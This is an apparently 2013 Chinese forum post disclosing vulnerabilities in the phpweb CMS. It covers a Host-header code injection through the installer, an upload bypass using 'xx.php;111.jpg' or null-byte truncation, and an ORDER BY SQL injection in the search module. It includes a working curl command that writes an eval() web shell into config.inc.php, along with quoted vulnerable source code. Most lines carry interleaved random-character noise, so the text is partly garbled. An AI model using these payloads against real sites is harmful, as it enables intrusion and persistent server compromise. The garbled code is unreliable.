找回密码
 立即注册
查看: 2892|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
6 P# D, y* H4 L: y  s4 u( J, M
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码  u7 [/ ]3 H5 K1 P$ P, w3 P  d

# k2 M% E& ?; u0 l鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
- U: f, l. \) h: h) R鸡肋2: 有一定安全常识的站长都会删掉 install 目录
  Q! A( H7 \8 @5 c & V9 f. e3 d# p* S
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
$ k) e8 q; M$ l9 p4 J
6 ?7 e  R! g8 |! K* S分析:
' D% A9 O7 F/ r3 ^5 w# a
7 [; O7 U% _7 C# F2 h' ~* B
7 Y) S; @+ V1 ~, H! B- N1 w- t9 `$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
% k& U9 i1 c: }9 u
  x& i9 J+ j9 m9 ~, K                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
' `$ D2 N2 H! h5 k- ?                                            $filestr=str_replace(" ","",$filestr);
7 w+ I0 t8 H& f3 [4 v2 }' E                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);  B2 u# x- z' @! D
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);2 |* q: T7 y8 ]* c+ }. ?1 [: M
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);8 z, R+ R+ }( S+ f! D
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
8 ^  N- p5 A9 e7 ~, m                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);  x: J* j! `7 @* i7 c' Y
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);+ U" k. V) Y. ]/ B! P9 ^
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
, A+ u" Q9 X' Y2 r& _ 2 h; ]5 z/ T( t( M' R0 a
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);3 l2 d' m& w9 O
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^7 Z$ m* w$ v* u3 y! b) L
7 Z3 O: C4 @( I6 G0 [, J  N
poc:' p" x7 k. J, P0 \( Q/ H
- Q4 }* J& n7 i
?, M' f' K: B3 q
1- m. T% t! Z% p4 W3 }5 b+ L7 i7 `% m- o
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"! g* W1 B/ \/ c) K$ s6 @4 S/ [
shell地址: /config.inc.php  |7 O8 _" @& B* [# ~. a0 ^
跟之前的 phpcms一样 需要远程数据库0 T5 I, ]9 Q/ c' u

# n" Z2 y6 s* y9 l; L——————————————————–
1 Z' b6 ?! J" d  c# Z; d9 D上传漏洞(需要进后台):& e4 ~1 h. [3 Z1 F$ c
漏洞文件: /kedit/upload_cgi/upload.php
4 q* ?( C; w' y9 A% ?这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
/ H  |' Y' K7 Z9 d: X2 ~6 x # g7 U; l! d7 J

9 K2 j. U6 S. {5 G9 c% U% ?% J<?php4 a" H8 y7 d# l% [; G1 z5 M
    define("ROOTPATH", "../../");
& H9 P1 C0 m2 w8 M# C: M+ q8 s    include(ROOTPATH."includes/admin.inc.php");
8 b. m4 E9 Z: z3 a" R: L# s. e    NeedAuth(0);1 ?2 I% l& w& V6 v) y  b
# w  i8 C+ u: ?# q0 V  i
    $dt=date("Ymd",time());
" w$ p* {9 {0 `, M% m5 s    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
5 ]6 y! e% X& t) O: ?: x            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);, n' Z' {: F2 f- Q
    }
0 T# v7 B  U, G# w/ r; k , ^$ m  @# Q5 Q, ?. C' p
    //文件保存目录路径# k: C3 M1 J" p% u$ U
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
" P- [1 r* G2 U5 O( Z& q    echo $save_path;
6 w3 U* V4 V! R! M6 o2 A    //文件保存目录URL) @; u" i3 u0 p  I: O9 e
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
5 v* D% h: a* u3 O: y % H" W% a5 y1 I0 Z
    //定义允许上传的文件扩展名6 X! [. Q8 @6 D+ e5 b
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀/ H. L6 p* }+ \/ k) t6 O# p& @
& M! u( F' L; G" f) }% e: k2 q
    //最大文件大小, e; ~. z8 v$ w: B: S& L
    $max_size = 1000000;; V% X" h3 _1 r5 L( l: w1 `/ G
1 X$ P+ A5 g1 K) W/ L- o' B
    //更改目录权限
. ?: t3 z7 a! c/ t" ~6 s5 _* `    @mkdir($save_path, 0777);/ l7 J5 b; @% S& X  I! K! \

# n7 ]% J* F) C( n6 }6 Y" [- e! j    //文件的全部路径+ M# C) h8 @4 |0 N8 C* Z5 D
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
% b: z9 f" d3 V; [8 c7 K
1 T/ k" x9 O% E& }    //文件URL8 j" i  |+ }3 P: I/ G. n
    $file_url = $save_url.$_POST['fileName'];
1 }- y# B+ G% S/ T/ t//有上传文件时
% {) Q# I. Q$ G; s3 f5 x. D3 v    if (empty($_FILES) === false) {
) m- y% c% A5 U7 @$ V7 |2 V & m0 z4 ?9 U" H' f& h+ X& `' {
            //原文件名
9 C3 Y9 H' [! k! V3 h$ ^% I+ W            $file_name = $_FILES['fileData']['name'];
- S2 {  u& _" l# Q            //服务器上临时文件名- g, M# k# k* \& q& [" M
            $tmp_name = $_FILES['fileData']['tmp_name'];7 _6 R- c1 @0 ?: W# m% t+ c
            //文件大小
- `. w9 h( |2 v: L- ~% J. ?% h            $file_size = $_FILES['fileData']['size'];
- n8 Y1 Z5 p+ [( e; M$ m/ m/ R+ j            //检查目录  k) U; d) Q2 H; M  _2 A
            if (@is_dir($save_path) === false) {
4 ?) y0 J2 E" e; T                    alert("上传目录不存在。");
7 U" i( D* O: P; f1 ~# U* R' Y- v* o            }
/ Q; C4 C7 E7 ^            //检查目录写权限* I( m& U$ t' M# m" O+ g
            if (@is_writable($save_path) === false) {% l, d* c  i$ w5 z9 {2 d
                    alert("上传目录没有写权限。");
% T" [. a$ r$ f            }# \3 s; d! O; H. h* B
            //检查是否已上传
% X8 ^: ~5 d$ T- K+ V/ J2 s            if (@is_uploaded_file($tmp_name) === false) {! k- }, _2 k, T
                    alert("临时文件可能不是上传文件。");
/ T- B2 J; _9 `            }! o! @, h" ?: S& c' s* i/ q% D
            //检查文件大小
9 Y4 {) B* p1 G9 G7 V, _            if ($file_size > $max_size) {
7 Q' }- f: h+ P5 O0 ]9 S                    alert("上传文件大小超过限制。");; c* W; d/ A$ |! m- w1 r8 ]
            }
% S' L9 g5 `8 p+ f5 J5 Y            //获得文件扩展名$ X2 H& a+ E' v4 _( d5 K. j
            $temp_arr = explode(".", $_POST['fileName']);
8 r# g2 p# J& Z, }; r% r1 {. R            $file_ext = array_pop($temp_arr);
' H+ g# |2 k' S' I: m            $file_ext = trim($file_ext);
' `" U, r. j8 t' _            $file_ext = strtolower($file_ext);
: @9 D8 q) R  R: ?1 N+ ]8 l$ S/ N : o- Z) F( C( j% c# P, i
            //检查扩展名   6 A* P% {* B7 _& w
            if (in_array($file_ext, $ext_arr) === false) {     / K* c( R$ H; X" }% @' T: h
                    alert("上传文件扩展名是不允许的扩展名。");
8 G) R+ E7 U' W5 A            }3 U7 M& C+ T7 J: l! N+ w( t, h% g- G

7 x- g% Q" ]& b2 p; J            //移动文件   , k& b9 @9 t  @8 N- ]% P' X! o
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
7 v) z4 u: j% ?: q            if (move_uploaded_file($tmp_name, $file_path) === false) {* ^9 K+ Z! F: q3 P: g1 w5 p
                    alert("上传文件失败。");
. w* m% a4 q4 O1 l9 n            }
7 r# `" E: s' d& P/ J
- j3 Q  h) S( X7 s/ D( M0 d3 r            @chmod($file_path,0666);9 q( M" C: V% T
6 G# M) q4 f  W
    ?>
  r2 `2 d, |7 Z" O抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
; ~8 n- D$ f: a/ b. Y + I) j- b6 n7 k! K7 A7 y( N8 i
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
, a& d6 g3 E% X4 U
1 b  o7 P& b1 V2 r( ]: A——————————————————
  J1 J  o! @4 w- p; ]$ K注入漏洞:, |8 I* c' o! G) ^" d
漏洞文件:search/module/search.php
: H; L. R( V9 B. K9 @; _/search/index.php?key=1&myord=1 [sqlinjection]
- Q; [5 x: X' i/ V9 @4 L# _
# Z7 \! ?8 w0 H
- F5 d9 u7 b8 d<?php2 @# n: c$ o; p# k
   //       ... 省略 n 行...
8 @4 p2 c, |/ d) O% Z" b# i   //第18行:
# N+ H4 ]6 ^+ ?4 N           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响4 S5 m6 [6 t  r+ G) a+ }; {
           $page=htmlspecialchars($_GET["page"]);; E& U1 x$ L2 u8 d6 }! V: r6 @& z; d
           $myord=htmlspecialchars($_GET["myord"]);3 d) F! O* H$ @5 P$ n9 l

2 e( c8 S8 f/ u% h$ j) ]; Q   //       ... 省略 n 行...
8 T, J% A' U9 H9 x  O% m% @  }   $key,$myord 两个参数带入查询
$ m' Q2 h2 l! F3 T9 {7 q9 ^   //第47行 $key:
' A7 W! N1 w6 M7 W" Q% ^8 x
: a7 z7 ~( C! p7 {9 s9 e$ c# C   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..- x% \: M  ]/ y3 d. A
$ F# m9 N3 h' A" a
   //第197行 $myord, R: j# U9 e4 T  Y2 t5 K
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
( A7 S% T7 D+ K; m  Q6 x 0 a1 y/ f- H: p3 z4 T' _/ `
   ?>: l: M/ G8 j0 T$ B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表